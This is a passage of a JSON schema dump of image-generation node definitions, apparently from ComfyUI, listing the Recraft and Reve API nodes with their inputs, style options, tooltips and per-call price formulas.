"negative_prompt", "recraft_controls"], "hidden": ["auth_token_comfy_org", "api_key_comfy_org", "unique_id", "comfy_usage_source"]}, "is_input_list": false, "output": ["IMAGE"], "output_is_list": [false], "output_name": ["IMAGE"], "output_tooltips": [null], "output_matchtypes": null, "name": "RecraftTextToImageNode", "display_name": "Recraft Text to Image", "description": "Generates images synchronously based on prompt and resolution.", "python_module": "comfy_api_nodes.nodes_recraft", "category": "partner/image/Recraft", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": true, "price_badge": {"engine": "jsonata", "depends_on": {"widgets": [{"name": "n", "type": "INT"}], "inputs": [], "input_groups": []}, "expr": "{\"type\":\"usd\",\"usd\": $round(0.04 * widgets.n, 2)}"}, "search_aliases": null, "essentials_category": null, "has_intermediate_output": false}, "RecraftImageToImageNode": {"input": {"required": {"image": ["IMAGE", {}], "prompt": ["STRING", {"tooltip": "Prompt for the image generation.", "default": "", "multiline": true}], "n": ["INT", {"tooltip": "The number of images to generate.", "default": 1, "min": 1, "max": 6}], "strength": ["FLOAT", {"tooltip": "Defines the difference with the original image, should lie in [0, 1], where 0 means almost identical, and 1 means miserable similarity.", "default": 0.5, "min": 0.0, "max": 1.0, "step": 0.01}], "seed": ["INT", {"tooltip": "Seed to determine if node should re-run; actual results are nondeterministic regardless of seed.", "default": 0, "min": 0, "max": 18446744073709551615, "control_after_generate": true}]}, "optional": {"recraft_style": ["RECRAFT_V3_STYLE", {}], "negative_prompt": ["STRING", {"tooltip": "An optional text description of undesired elements on an image.", "default": "", "forceInput": true, "multiline": false}], "recraft_controls": ["RECRAFT_CONTROLS", {"tooltip": "Optional additional controls over the generation via the Recraft Controls node."}]}, "hidden": {"auth_token_comfy_org": ["AUTH_TOKEN_COMFY_ORG"], "api_key_comfy_org": ["API_KEY_COMFY_ORG"], "unique_id": ["UNIQUE_ID"], "comfy_usage_source": ["COMFY_USAGE_SOURCE"]}}, "input_order": {"required": ["image", "prompt", "n", "strength", "seed"], "optional": ["recraft_style", "negative_prompt", "recraft_controls"], "hidden": ["auth_token_comfy_org", "api_key_comfy_org", "unique_id", "comfy_usage_source"]}, "is_input_list": false, "output": ["IMAGE"], "output_is_list": [false], "output_name": ["IMAGE"], "output_tooltips": [null], "output_matchtypes": null, "name": "RecraftImageToImageNode", "display_name": "Recraft Image to Image", "description": "Modify image based on prompt and strength.", "python_module": "comfy_api_nodes.nodes_recraft", "category": "partner/image/Recraft", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": true, "price_badge": {"engine": "jsonata", "depends_on": {"widgets": [{"name": "n", "type": "INT"}], "inputs": [], "input_groups": []}, "expr": "{\"type\":\"usd\",\"usd\": $round(0.04 * widgets.n, 2)}"}, "search_aliases": null, "essentials_category": null, "has_intermediate_output": false}, "RecraftImageInpaintingNode": {"input": {"required": {"image": ["IMAGE", {}], "mask": ["MASK", {}], "prompt": ["STRING", {"tooltip": "Prompt for the image generation.", "default": "", "multiline": true}], "n": ["INT", {"tooltip": "The number of images to generate.", "default": 1, "min": 1, "max": 6}], "seed": ["INT", {"tooltip": "Seed to determine if node should re-run; actual results are nondeterministic regardless of seed.", "default": 0, "min": 0, "max": 18446744073709551615, "control_after_generate": true}]}, "optional": {"recraft_style": ["RECRAFT_V3_STYLE", {}], "negative_prompt": ["STRING", {"tooltip": "An optional text description of undesired elements on an image.", "default": "", "forceInput": true, "multiline": false}]}, "hidden": {"auth_token_comfy_org": ["AUTH_TOKEN_COMFY_ORG"], "api_key_comfy_org": ["API_KEY_COMFY_ORG"], "unique_id": ["UNIQUE_ID"], "comfy_usage_source": ["COMFY_USAGE_SOURCE"]}}, "input_order": {"required": ["image", "mask", "prompt", "n", "seed"], "optional": ["recraft_style", "negative_prompt"], "hidden": ["auth_token_comfy_org", "api_key_comfy_org", "unique_id", "comfy_usage_source"]}, "is_input_list": false, "output": ["IMAGE"], "output_is_list": [false], "output_name": ["IMAGE"], "output_tooltips": [null], "output_matchtypes": null, "name": "RecraftImageInpaintingNode", "display_name": "Recraft Image Inpainting", "description": "Modify image based on prompt and mask.", "python_module": "comfy_api_nodes.nodes_recraft", "category": "partner/image/Recraft", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": true, "price_badge": {"engine": "jsonata", "depends_on": {"widgets": [{"name": "n", "type": "INT"}], "inputs": [], "input_groups": []}, "expr": "{\"type\":\"usd\",\"usd\": $round(0.04 * widgets.n, 2)}"}, "search_aliases": null, "essentials_category": null, "has_intermediate_output": false}, "RecraftTextToVectorNode": {"input": {"required": {"prompt": ["STRING", {"tooltip": "Prompt for the image generation.", "default": "", "multiline": true}], "substyle": ["COMBO", {"multiselect": false, "options": ["None", "bold_stroke", "chemistry", "colored_stencil", "contour_pop_art", "cosmics", "cutout", "depressive", "editorial", "emotional_flat", "engraving", "infographical", "line_art", "line_circuit", "linocut", "marker_outline", "mosaic", "naivector", "roundish_flat", "seamless", "segmented_colors", "sharp_contrast", "thin", "vector_photo", "vivid_shapes"]}], "size": ["COMBO", {"tooltip": "The size of the generated image.", "default": "1024x1024", "multiselect": false, "options": ["1024x1024", "1365x1024", "1024x1365", "1536x1024", "1024x1536", "1820x1024", "1024x1820", "1024x2048", "2048x1024", "1434x1024", "1024x1434", "1024x1280", "1280x1024", "1024x1707", "1707x1024"]}], "n": ["INT", {"tooltip": "The number of images to generate.", "default": 1, "min": 1, "max": 6}], "seed": ["INT", {"tooltip": "Seed to determine if node should re-run; actual results are nondeterministic regardless of seed.", "default": 0, "min": 0, "max": 18446744073709551615, "control_after_generate": true}]}, "optional": {"negative_prompt": ["STRING", {"tooltip": "An optional text description of undesired elements on an image.", "default": "", "forceInput": true, "multiline": false}], "recraft_controls": ["RECRAFT_CONTROLS", {"tooltip": "Optional additional controls over the generation via the Recraft Controls node."}]}, "hidden": {"auth_token_comfy_org": ["AUTH_TOKEN_COMFY_ORG"], "api_key_comfy_org": ["API_KEY_COMFY_ORG"], "unique_id": ["UNIQUE_ID"], "comfy_usage_source": ["COMFY_USAGE_SOURCE"]}}, "input_order": {"required": ["prompt", "substyle", "size", "n", "seed"], "optional": ["negative_prompt", "recraft_controls"], "hidden": ["auth_token_comfy_org", "api_key_comfy_org", "unique_id", "comfy_usage_source"]}, "is_input_list": false, "output": ["SVG"], "output_is_list": [false], "output_name": ["SVG"], "output_tooltips": [null], "output_matchtypes": null, "name": "RecraftTextToVectorNode", "display_name": "Recraft Text to Vector", "description": "Generates SVG synchronously based on prompt and resolution.", "python_module": "comfy_api_nodes.nodes_recraft", "category": "partner/image/Recraft", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": true, "price_badge": {"engine": "jsonata", "depends_on": {"widgets": [{"name": "n", "type": "INT"}], "inputs": [], "input_groups": []}, "expr": "{\"type\":\"usd\",\"usd\": $round(0.08 * widgets.n, 2)}"}, "search_aliases": null, "essentials_category": null, "has_intermediate_output": false}, "RecraftVectorizeImageNode": {"input": {"required": {"image": ["IMAGE", {}]}, "hidden": {"auth_token_comfy_org": ["AUTH_TOKEN_COMFY_ORG"], "api_key_comfy_org": ["API_KEY_COMFY_ORG"], "unique_id": ["UNIQUE_ID"], "comfy_usage_source": ["COMFY_USAGE_SOURCE"]}}, "input_order": {"required": ["image"], "hidden": ["auth_token_comfy_org", "api_key_comfy_org", "unique_id", "comfy_usage_source"]}, "is_input_list": false, "output": ["SVG"], "output_is_list": [false], "output_name": ["SVG"], "output_tooltips": [null], "output_matchtypes": null, "name": "RecraftVectorizeImageNode", "display_name": "Recraft Vectorize Image", "description": "Generates SVG synchronously from an input image.", "python_module": "comfy_api_nodes.nodes_recraft", "category": "partner/image/Recraft", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": true, "price_badge": {"engine": "jsonata", "depends_on": {"widgets": [], "inputs": [], "input_groups": []}, "expr": "{\"type\":\"usd\",\"usd\": 0.01}"}, "search_aliases": null, "essentials_category": "Image Tools", "has_intermediate_output": false}, "RecraftRemoveBackgroundNode": {"input": {"required": {"image": ["IMAGE", {}]}, "hidden": {"auth_token_comfy_org": ["AUTH_TOKEN_COMFY_ORG"], "api_key_comfy_org": ["API_KEY_COMFY_ORG"], "unique_id": ["UNIQUE_ID"], "comfy_usage_source": ["COMFY_USAGE_SOURCE"]}}, "input_order": {"required": ["image"], "hidden": ["auth_token_comfy_org", "api_key_comfy_org", "unique_id", "comfy_usage_source"]}, "is_input_list": false, "output": ["IMAGE", "MASK"], "output_is_list": [false, false], "output_name": ["IMAGE", "MASK"], "output_tooltips": [null, null], "output_matchtypes": null, "name": "RecraftRemoveBackgroundNode", "display_name": "Recraft Remove Background", "description": "Remove background from image, and return processed image and mask.", "python_module": "comfy_api_nodes.nodes_recraft", "category": "partner/image/Recraft", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": true, "price_badge": {"engine": "jsonata", "depends_on": {"widgets": [], "inputs": [], "input_groups": []}, "expr": "{\"type\":\"usd\",\"usd\":0.01}"}, "search_aliases": null, "essentials_category": "Image Tools", "has_intermediate_output": false}, "RecraftReplaceBackgroundNode": {"input": {"required": {"image": ["IMAGE", {}], "prompt": ["STRING", {"tooltip": "Prompt for the image generation.", "default": "", "multiline": true}], "n": ["INT", {"tooltip": "The number of images to generate.", "default": 1, "min": 1, "max": 6}], "seed": ["INT", {"tooltip": "Seed to determine if node should re-run; actual results are nondeterministic regardless of seed.", "default": 0, "min": 0, "max": 18446744073709551615, "control_after_generate": true}]}, "optional": {"recraft_style": ["RECRAFT_V3_STYLE", {}], "negative_prompt": ["STRING", {"tooltip": "An optional text description of undesired elements on an image.", "default": "", "forceInput": true, "multiline": false}]}, "hidden": {"auth_token_comfy_org": ["AUTH_TOKEN_COMFY_ORG"], "api_key_comfy_org": ["API_KEY_COMFY_ORG"], "unique_id": ["UNIQUE_ID"], "comfy_usage_source": ["COMFY_USAGE_SOURCE"]}}, "input_order": {"required": ["image", "prompt", "n", "seed"], "optional": ["recraft_style", "negative_prompt"], "hidden": ["auth_token_comfy_org", "api_key_comfy_org", "unique_id", "comfy_usage_source"]}, "is_input_list": false, "output": ["IMAGE"], "output_is_list": [false], "output_name": ["IMAGE"], "output_tooltips": [null], "output_matchtypes": null, "name": "RecraftReplaceBackgroundNode", "display_name": "Recraft Replace Background", "description": "Replace background on image, based on provided prompt.", "python_module": "comfy_api_nodes.nodes_recraft", "category": "partner/image/Recraft", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": true, "price_badge": {"engine": "jsonata", "depends_on": {"widgets": [], "inputs": [], "input_groups": []}, "expr": "{\"type\":\"usd\",\"usd\":0.04}"}, "search_aliases": null, "essentials_category": null, "has_intermediate_output": false}, "RecraftCrispUpscaleNode": {"input": {"required": {"image": ["IMAGE", {}]}, "hidden": {"auth_token_comfy_org": ["AUTH_TOKEN_COMFY_ORG"], "api_key_comfy_org": ["API_KEY_COMFY_ORG"], "unique_id": ["UNIQUE_ID"], "comfy_usage_source": ["COMFY_USAGE_SOURCE"]}}, "input_order": {"required": ["image"], "hidden": ["auth_token_comfy_org", "api_key_comfy_org", "unique_id", "comfy_usage_source"]}, "is_input_list": false, "output": ["IMAGE"], "output_is_list": [false], "output_name": ["IMAGE"], "output_tooltips": [null], "output_matchtypes": null, "name": "RecraftCrispUpscaleNode", "display_name": "Recraft Crisp Upscale Image", "description": "Upscale image synchronously.\nEnhances a given raster image using \u2018crisp upscale\u2019 tool, increasing image resolution, making the image sharper and cleaner.", "python_module": "comfy_api_nodes.nodes_recraft", "category": "partner/image/Recraft", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": true, "price_badge": {"engine": "jsonata", "depends_on": {"widgets": [], "inputs": [], "input_groups": []}, "expr": "{\"type\":\"usd\",\"usd\":0.004}"}, "search_aliases": null, "essentials_category": null, "has_intermediate_output": false}, "RecraftCreativeUpscaleNode": {"input": {"required": {"image": ["IMAGE", {}]}, "hidden": {"auth_token_comfy_org": ["AUTH_TOKEN_COMFY_ORG"], "api_key_comfy_org": ["API_KEY_COMFY_ORG"], "unique_id": ["UNIQUE_ID"], "comfy_usage_source": ["COMFY_USAGE_SOURCE"]}}, "input_order": {"required": ["image"], "hidden": ["auth_token_comfy_org", "api_key_comfy_org", "unique_id", "comfy_usage_source"]}, "is_input_list": false, "output": ["IMAGE"], "output_is_list": [false], "output_name": ["IMAGE"], "output_tooltips": [null], "output_matchtypes": null, "name": "RecraftCreativeUpscaleNode", "display_name": "Recraft Creative Upscale Image", "description": "Upscale image synchronously.\nEnhances a given raster image using \u2018creative upscale\u2019 tool, boosting resolution with a focus on refining small details and faces.", "python_module": "comfy_api_nodes.nodes_recraft", "category": "partner/image/Recraft", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": true, "price_badge": {"engine": "jsonata", "depends_on": {"widgets": [], "inputs": [], "input_groups": []}, "expr": "{\"type\":\"usd\",\"usd\":0.25}"}, "search_aliases": null, "essentials_category": null, "has_intermediate_output": false}, "RecraftStyleV3RealisticImage": {"input": {"required": {"substyle": ["COMBO", {"multiselect": false, "options": ["None", "b_and_w", "enterprise", "evening_light", "faded_nostalgia", "forest_life", "hard_flash", "hdr", "motion_blur", "mystic_naturalism", "natural_light", "natural_tones", "organic_calm", "real_life_glow", "retro_realism", "retro_snapshot", "studio_portrait", "urban_drama", "village_realism", "warm_folk"]}]}}, "input_order": {"required": ["substyle"]}, "is_input_list": false, "output": ["RECRAFT_V3_STYLE"], "output_is_list": [false], "output_name": ["recraft_style"], "output_tooltips": [null], "output_matchtypes": null, "name": "RecraftStyleV3RealisticImage", "display_name": "Recraft Style - Realistic Image", "description": "Select realistic_image style and optional substyle.", "python_module": "comfy_api_nodes.nodes_recraft", "category": "partner/image/Recraft", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": false, "price_badge": null, "search_aliases": null, "essentials_category": null, "has_intermediate_output": false}, "RecraftStyleV3DigitalIllustration": {"input": {"required": {"substyle": ["COMBO", {"multiselect": false, "options": ["None", "2d_art_poster", "2d_art_poster_2", "antiquarian", "bold_fantasy", "child_book", "child_books", "cover", "crosshatch", "digital_engraving", "engraving_color", "expressionism", "freehand_details", "grain", "grain_20", "graphic_intensity", "hand_drawn", "hand_drawn_outline", "handmade_3d", "hard_comics", "infantile_sketch", "long_shadow", "modern_folk", "multicolor", "neon_calm", "noir", "nostalgic_pastel", "outline_details", "pastel_gradient", "pastel_sketch", "pixel_art", "plastic", "pop_art", "pop_renaissance", "seamless", "street_art", "tablet_sketch", "urban_glow", "urban_sketching", "vanilla_dreams", "young_adult_book", "young_adult_book_2"]}]}}, "input_order": {"required": ["substyle"]}, "is_input_list": false, "output": ["RECRAFT_V3_STYLE"], "output_is_list": [false], "output_name": ["recraft_style"], "output_tooltips": [null], "output_matchtypes": null, "name": "RecraftStyleV3DigitalIllustration", "display_name": "Recraft Style - Digital Illustration", "description": "Select realistic_image style and optional substyle.", "python_module": "comfy_api_nodes.nodes_recraft", "category": "partner/image/Recraft", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": false, "price_badge": null, "search_aliases": null, "essentials_category": null, "has_intermediate_output": false}, "RecraftStyleV3LogoRaster": {"input": {"required": {"substyle": ["COMBO", {"multiselect": false, "options": ["emblem_graffiti", "emblem_pop_art", "emblem_punk", "emblem_stamp", "emblem_vintage"]}]}}, "input_order": {"required": ["substyle"]}, "is_input_list": false, "output": ["RECRAFT_V3_STYLE"], "output_is_list": [false], "output_name": ["recraft_style"], "output_tooltips": [null], "output_matchtypes": null, "name": "RecraftStyleV3LogoRaster", "display_name": "Recraft Style - Logo Raster", "description": "Select realistic_image style and optional substyle.", "python_module": "comfy_api_nodes.nodes_recraft", "category": "partner/image/Recraft", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": false, "price_badge": null, "search_aliases": null, "essentials_category": null, "has_intermediate_output": false}, "RecraftStyleV3InfiniteStyleLibrary": {"input": {"required": {"style_id": ["STRING", {"tooltip": "UUID of style from Infinite Style Library.", "default": "", "multiline": false}]}}, "input_order": {"required": ["style_id"]}, "is_input_list": false, "output": ["RECRAFT_V3_STYLE"], "output_is_list": [false], "output_name": ["recraft_style"], "output_tooltips": [null], "output_matchtypes": null, "name": "RecraftStyleV3InfiniteStyleLibrary", "display_name": "Recraft Style - Infinite Style Library", "description": "Choose style based on preexisting UUID from Recraft's Infinite Style Library.", "python_module": "comfy_api_nodes.nodes_recraft", "category": "partner/image/Recraft", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": false, "price_badge": null, "search_aliases": null, "essentials_category": null, "has_intermediate_output": false}, "RecraftCreateStyleNode": {"input": {"required": {"style": ["COMBO", {"tooltip": "The base style of the generated images.", "multiselect": false, "options": ["realistic_image", "digital_illustration"]}], "images": ["COMFY_AUTOGROW_V3", {"template": {"input": {"required": {"image": ["IMAGE", {}]}}, "prefix": "image", "min": 1, "max": 5}}]}, "hidden": {"auth_token_comfy_org": ["AUTH_TOKEN_COMFY_ORG"], "api_key_comfy_org": ["API_KEY_COMFY_ORG"], "unique_id": ["UNIQUE_ID"], "comfy_usage_source": ["COMFY_USAGE_SOURCE"]}}, "input_order": {"required": ["style", "images"], "hidden": ["auth_token_comfy_org", "api_key_comfy_org", "unique_id", "comfy_usage_source"]}, "is_input_list": false, "output": ["STRING"], "output_is_list": [false], "output_name": ["style_id"], "output_tooltips": [null], "output_matchtypes": null, "name": "RecraftCreateStyleNode", "display_name": "Recraft Create Style", "description": "Create a custom style from reference images. Upload 1-5 images to use as style references. Total size of all images is limited to 5 MB.", "python_module": "comfy_api_nodes.nodes_recraft", "category": "partner/image/Recraft", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": true, "price_badge": {"engine": "jsonata", "depends_on": {"widgets": [], "inputs": [], "input_groups": []}, "expr": "{\"type\":\"usd\",\"usd\": 0.04}"}, "search_aliases": null, "essentials_category": null, "has_intermediate_output": false}, "RecraftColorRGB": {"input": {"required": {"r": ["INT", {"tooltip": "Red value of color.", "default": 0, "min": 0, "max": 255}], "g": ["INT", {"tooltip": "Green value of color.", "default": 0, "min": 0, "max": 255}], "b": ["INT", {"tooltip": "Blue value of color.", "default": 0, "min": 0, "max": 255}]}, "optional": {"recraft_color": ["RECRAFT_COLOR", {}]}}, "input_order": {"required": ["r", "g", "b"], "optional": ["recraft_color"]}, "is_input_list": false, "output": ["RECRAFT_COLOR"], "output_is_list": [false], "output_name": ["recraft_color"], "output_tooltips": [null], "output_matchtypes": null, "name": "RecraftColorRGB", "display_name": "Recraft Color RGB", "description": "Create Recraft Color by choosing specific RGB values.", "python_module": "comfy_api_nodes.nodes_recraft", "category": "partner/image/Recraft", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": false, "price_badge": null, "search_aliases": null, "essentials_category": null, "has_intermediate_output": false}, "RecraftControls": {"input": {"required": {}, "optional": {"colors": ["RECRAFT_COLOR", {}], "background_color": ["RECRAFT_COLOR", {}]}}, "input_order": {"required": [], "optional": ["colors", "background_color"]}, "is_input_list": false, "output": ["RECRAFT_CONTROLS"], "output_is_list": [false], "output_name": ["recraft_controls"], "output_tooltips": [null], "output_matchtypes": null, "name": "RecraftControls", "display_name": "Recraft Controls", "description": "Create Recraft Controls for customizing Recraft generation.", "python_module": "comfy_api_nodes.nodes_recraft", "category": "partner/image/Recraft", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": false, "price_badge": null, "search_aliases": null, "essentials_category": null, "has_intermediate_output": false}, "RecraftV4TextToImageNode": {"input": {"required": {"prompt": ["STRING", {"tooltip": "Prompt for the image generation. Maximum 10,000 characters.", "multiline": true}], "negative_prompt": ["STRING", {"tooltip": "An optional text description of undesired elements on an image.", "multiline": true}], "model": ["COMFY_DYNAMICCOMBO_V3", {"tooltip": "The model to use for generation.", "options": [{"key": "recraftv4", "inputs": {"required": {"size": ["COMBO", {"tooltip": "The size of the generated image.", "default": "1024x1024", "multiselect": false, "options": ["1024x1024", "1536x768", "768x1536", "1280x832", "832x1280", "1216x896", "896x1216", "1152x896", "896x1152", "832x1344", "1280x896", "896x1280", "1344x768", "768x1344"]}]}}}, {"key": "recraftv4_pro", "inputs": {"required": {"size": ["COMBO", {"tooltip": "The size of the generated image.", "default": "2048x2048", "multiselect": false, "options": ["2048x2048", "3072x1536", "1536x3072", "2560x1664", "1664x2560", "2432x1792", "1792x2432", "2304x1792", "1792x2304", "1664x2688", "1434x1024", "1024x1434", "2560x1792", "1792x2560"]}]}}}]}], "n": ["INT", {"tooltip": "The number of images to generate.", "default": 1, "min": 1, "max": 6}], "seed": ["INT", {"tooltip": "Seed to determine if node should re-run; actual results are nondeterministic regardless of seed.", "default": 0, "min": 0, "max": 18446744073709551615, "control_after_generate": true}]}, "optional": {"recraft_controls": ["RECRAFT_CONTROLS", {"tooltip": "Optional additional controls over the generation via the Recraft Controls node."}]}, "hidden": {"auth_token_comfy_org": ["AUTH_TOKEN_COMFY_ORG"], "api_key_comfy_org": ["API_KEY_COMFY_ORG"], "unique_id": ["UNIQUE_ID"], "comfy_usage_source": ["COMFY_USAGE_SOURCE"]}}, "input_order": {"required": ["prompt", "negative_prompt", "model", "n", "seed"], "optional": ["recraft_controls"], "hidden": ["auth_token_comfy_org", "api_key_comfy_org", "unique_id", "comfy_usage_source"]}, "is_input_list": false, "output": ["IMAGE"], "output_is_list": [false], "output_name": ["IMAGE"], "output_tooltips": [null], "output_matchtypes": null, "name": "RecraftV4TextToImageNode", "display_name": "Recraft V4 Text to Image", "description": "Generates images using Recraft V4 or V4 Pro models.", "python_module": "comfy_api_nodes.nodes_recraft", "category": "partner/image/Recraft", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": true, "price_badge": {"engine": "jsonata", "depends_on": {"widgets": [{"name": "model", "type": "COMFY_DYNAMICCOMBO_V3"}, {"name": "n", "type": "INT"}], "inputs": [], "input_groups": []}, "expr": "\n (\n $prices := {\"recraftv4\": 0.04, \"recraftv4_pro\": 0.25};\n {\"type\":\"usd\",\"usd\": $lookup($prices, widgets.model) * widgets.n}\n )\n "}, "search_aliases": null, "essentials_category": null, "has_intermediate_output": false}, "RecraftV4TextToVectorNode": {"input": {"required": {"prompt": ["STRING", {"tooltip": "Prompt for the image generation. Maximum 10,000 characters.", "multiline": true}], "negative_prompt": ["STRING", {"tooltip": "An optional text description of undesired elements on an image.", "multiline": true}], "model": ["COMFY_DYNAMICCOMBO_V3", {"tooltip": "The model to use for generation.", "options": [{"key": "recraftv4", "inputs": {"required": {"size": ["COMBO", {"tooltip": "The size of the generated image.", "default": "1024x1024", "multiselect": false, "options": ["1024x1024", "1536x768", "768x1536", "1280x832", "832x1280", "1216x896", "896x1216", "1152x896", "896x1152", "832x1344", "1280x896", "896x1280", "1344x768", "768x1344"]}]}}}, {"key": "recraftv4_pro", "inputs": {"required": {"size": ["COMBO", {"tooltip": "The size of the generated image.", "default": "2048x2048", "multiselect": false, "options": ["2048x2048", "3072x1536", "1536x3072", "2560x1664", "1664x2560", "2432x1792", "1792x2432", "2304x1792", "1792x2304", "1664x2688", "1434x1024", "1024x1434", "2560x1792", "1792x2560"]}]}}}]}], "n": ["INT", {"tooltip": "The number of images to generate.", "default": 1, "min": 1, "max": 6}], "seed": ["INT", {"tooltip": "Seed to determine if node should re-run; actual results are nondeterministic regardless of seed.", "default": 0, "min": 0, "max": 18446744073709551615, "control_after_generate": true}]}, "optional": {"recraft_controls": ["RECRAFT_CONTROLS", {"tooltip": "Optional additional controls over the generation via the Recraft Controls node."}]}, "hidden": {"auth_token_comfy_org": ["AUTH_TOKEN_COMFY_ORG"], "api_key_comfy_org": ["API_KEY_COMFY_ORG"], "unique_id": ["UNIQUE_ID"], "comfy_usage_source": ["COMFY_USAGE_SOURCE"]}}, "input_order": {"required": ["prompt", "negative_prompt", "model", "n", "seed"], "optional": ["recraft_controls"], "hidden": ["auth_token_comfy_org", "api_key_comfy_org", "unique_id", "comfy_usage_source"]}, "is_input_list": false, "output": ["SVG"], "output_is_list": [false], "output_name": ["SVG"], "output_tooltips": [null], "output_matchtypes": null, "name": "RecraftV4TextToVectorNode", "display_name": "Recraft V4 Text to Vector", "description": "Generates SVG using Recraft V4 or V4 Pro models.", "python_module": "comfy_api_nodes.nodes_recraft", "category": "partner/image/Recraft", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": true, "price_badge": {"engine": "jsonata", "depends_on": {"widgets": [{"name": "model", "type": "COMFY_DYNAMICCOMBO_V3"}, {"name": "n", "type": "INT"}], "inputs": [], "input_groups": []}, "expr": "\n (\n $prices := {\"recraftv4\": 0.08, \"recraftv4_pro\": 0.30};\n {\"type\":\"usd\",\"usd\": $lookup($prices, widgets.model) * widgets.n}\n )\n "}, "search_aliases": null, "essentials_category": null, "has_intermediate_output": false}, "ReveImageCreateNode": {"input": {"required": {"prompt": ["STRING", {"tooltip": "Text description of the desired image. Maximum 2560 characters.", "default": "", "multiline": true}], "model": ["COMFY_DYNAMICCOMBO_V3", {"tooltip": "Model version to use for generation.", "options": [{"key": "reve-create@20250915", "inputs": {"required": {"aspect_ratio": ["COMBO", {"tooltip": "Aspect ratio of the output image.", "multiselect": false, "options": ["3:2", "16:9", "9:16", "2:3", "4:3", "3:4", "1:1"]}], "test_time_scaling": ["INT", {"tooltip": "Higher values produce better images but cost more credits.", "advanced": true, "default": 1, "min": 1, "max": 5, "step": 1}]}}}]}], "upscale": ["COMFY_DYNAMICCOMBO_V3", {"tooltip": "Upscale the generated image. May add additional cost.", "options": [{"key": "disabled", "inputs": {"required": {}}}, {"key": "enabled", "inputs": {"required": {"upscale_factor": ["INT", {"tooltip": "Upscale factor (2x, 3x, or 4x).", "default": 2, "min": 2, "max": 4, "step": 1}]}}}]}], "remove_background": ["BOOLEAN", {"tooltip": "Remove the background from the generated image. May add additional cost.", "default": false}], "seed": ["INT", {"tooltip": "Seed controls whether the node should re-run; results are non-deterministic regardless of seed.", "default": 0, "min": 0, "max": 2147483647, "control_after_generate": true}]}, "hidden": {"auth_token_comfy_org": ["AUTH_TOKEN_COMFY_ORG"], "api_key_comfy_org": ["API_KEY_COMFY_ORG"], "unique_id": ["UNIQUE_ID"], "comfy_usage_source": ["COMFY_USAGE_SOURCE"]}}, "input_order": {"required": ["prompt", "model", "upscale", "remove_background", "seed"], "hidden": ["auth_token_comfy_org", "api_key_comfy_org", "unique_id", "comfy_usage_source"]}, "is_input_list": false, "output": ["IMAGE"], "output_is_list": [false], "output_name": ["IMAGE"], "output_tooltips": [null], "output_matchtypes": null, "name": "ReveImageCreateNode", "display_name": "Reve Image Create", "description": "Generate images from text descriptions using Reve.", "python_module": "comfy_api_nodes.nodes_reve", "category": "partner/image/Reve", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": true, "price_badge": {"engine": "jsonata", "depends_on": {"widgets": [{"name": "upscale", "type": "COMFY_DYNAMICCOMBO_V3"}, {"name": "upscale.upscale_factor", "type": "INT"}], "inputs": [], "input_groups": []}, "expr": "\n (\n $factor := $lookup(widgets, \"upscale.upscale_factor\");\n $fmt := {\"approximate\": true, \"note\": \"(base)\"};\n widgets.upscale = \"enabled\" ? (\n $factor = 4 ? {\"type\": \"usd\", \"usd\": 0.0762, \"format\": $fmt}\n : $factor = 3 ? {\"type\": \"usd\", \"usd\": 0.0591, \"format\": $fmt}\n : {\"type\": \"usd\", \"usd\": 0.0457, \"format\": $fmt}\n ) : {\"type\": \"usd\", \"usd\": 0.03432, \"format\": $fmt}\n )\n "}, "search_aliases": null, "essentials_category": null, "has_intermediate_output": false}, "ReveImageEditNode": {"input": {"required": {"image": ["IMAGE", {"tooltip": "The image to edit."}], "edit_instruction": ["STRING", {"tooltip": "Text description of how to edit the image. Maximum 2560 characters.", "default": "", "multiline": true}], "model": ["COMFY_DYNAMICCOMBO_V3", {"tooltip": "Model version to use for editing.", "options": [{"key": "reve-edit@20250915", "inputs": {"required": {"aspect_ratio": ["COMBO", {"tooltip": "Aspect ratio of the output image.", "multiselect": false, "options": ["auto", "16:9", "9:16", "3:2", "2:3", "4:3", "3:4", "1:1"]}], "test_time_scaling": ["INT", {"tooltip": "Higher values produce better images but cost more credits.", "advanced": true, "default": 1, "min": 1, "max": 5, "step": 1}]}}}, {"key": "reve-edit-fast@20251030", "inputs": {"required": {"aspect_ratio": ["COMBO", {"tooltip": "Aspect ratio of the output image.", "multiselect": false, "options": ["auto", "16:9", "9:16", "3:2", "2:3", "4:3", "3:4", "1:1"]}], "test_time_scaling": ["INT", {"tooltip": "Higher values produce better images but cost more credits.", "advanced": true, "default": 1, "min": 1, "max": 5, "step": 1}]}}}]}], "upscale": ["COMFY_DYNAMICCOMBO_V3", {"tooltip": "Upscale the generated image. May add additional cost.", "options": [{"key": "disabled", "inputs": {"required": {}}}, {"key": "enabled", "inputs": {"required": {"upscale_factor": ["INT", {"tooltip": "Upscale factor (2x, 3x, or 4x).", "default": 2, "min": 2, "max": 4, "step": 1}]}}}]}], "remove_background": ["BOOLEAN", {"tooltip": "Remove the background from the generated image. May add additional cost.", "default": false}], "seed": ["INT", {"tooltip": "Seed controls whether the node should re-run; results are non-deterministic regardless of seed.", "default": 0, "min": 0, "max": 2147483647, "control_after_generate": true}]}, "hidden": {"auth_token_comfy_org": ["AUTH_TOKEN_COMFY_ORG"], "api_key_comfy_org": ["API_KEY_COMFY_ORG"], "unique_id": ["UNIQUE_ID"], "comfy_usage_source": ["COMFY_USAGE_SOURCE"]}}, "input_order": {"required": ["image", "edit_instruction", "model", "upscale", "remove_background", "seed"], "hidden": ["auth_token_comfy_org", "api_key_comfy_org", "unique_id", "comfy_usage_source"]}, 